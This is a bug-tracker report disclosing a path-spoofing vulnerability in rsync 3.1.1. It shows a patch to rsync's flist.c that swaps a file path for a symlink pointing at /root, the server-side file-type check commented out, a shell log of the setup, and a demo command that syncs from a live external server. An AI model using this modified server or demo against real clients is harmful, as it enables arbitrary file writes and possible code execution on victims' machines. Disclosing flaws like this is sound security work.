Created attachment 10471 [details]
Rsync path spoofing  attack  vulnerability (rsync 3.1.1 tested).pdf (Detailed documentation)

Hi all    
    In newest version rsync(3.1.1),directly modify the file path into absolute path is
not hijack succeed due to the security checks,but using symbolic links still can bypass
security checks and spoofing client.When a client uses parameter -a to synchronize 
files of the server-side(default),for example:

rsync -avzP  127.0.0.1::share   /tmp/share

Rsync recursive synchronous all files,An attacker can hijack the file path  by modifying
the code of the server-side,allows remote  servers to write to arbitrary files, and 
consequently execute arbitrary code .

Vulnerability  Details : 
    Firstly,i write a following file into the shared folder in rsync:a true folder
 and a symbolic link are directed to the root directory .

[root@pentest rsync]# ls  -lh
total 8.0K
-rw-r--r-- 1 root root    2 Oct 31 03:16 1.txt
lrwxrwxrwx 1 root root    6 Oct 31 05:09 fakedir -> /root/
drwxr-xr-x 2 root root 4.0K Oct 31 05:08 truedir

Then enter the truedir folder, create a new file  name "pwned".

[root@pentest rsync]# cd  truedir/
[root@pentest truedir]# ls
[root@pentest truedir]# echo rsync  test  >  pwned
[root@pentest truedir]# ls -lh
total 4.0K
-rw-r--r-- 1 root root 11 Oct 31 05:17 pwned
[root@pentest truedir]# 

Next I modify the server to send the file code,in the process of synchronizing,the path
of file "pwned" can be blocked and changed into any path.For example as follow code,change
true path  (truedir) to symbolic link (fakedir),this would put the Pwned file to download
to the symbolic link  points to the address (fakedir -> /root/).
file: flist.c    line:394

static void send_file_entry(int f, const char *fname, struct file_struct *file,
#ifdef SUPPORT_LINKS
			    const char *symlink_name, int symlink_len,
#endif
			    int ndx, int first_ndx)
{
  if(strcmp(fname,"turedir/pwned") == 0){
  	
  	fname="fakedir/pwned";  // symbolic link 
//change  file  true path(truedir) to  symbolic link  (fakedir)
)
}

Then, verification occurs in the server-side and says "received request to transfer
non-regular file fakedir/pwned.test 7 [sender]", But as an attacker, the code of the
server-side can be arbitrarily controlled,Shielding the following code.
file:rsync.c    line:405

/* if (iflags & ITEM_TRANSFER) {
		int i = ndx - cur_flist->ndx_start;
		if (i < 0 || !S_ISREG(cur_flist->files[i]->mode)) {
			rprintf(FERROR,
				"received request to transfer non-regular file: %d [%s]\n",
				ndx, who_am_i());
			exit_cleanup(RERR_PROTOCOL);
		}
	}
*/

Vulnerability  Demo :

Online  test:
rsync -avvzP  106.185.33.114::yaseng   /tmp/yaseng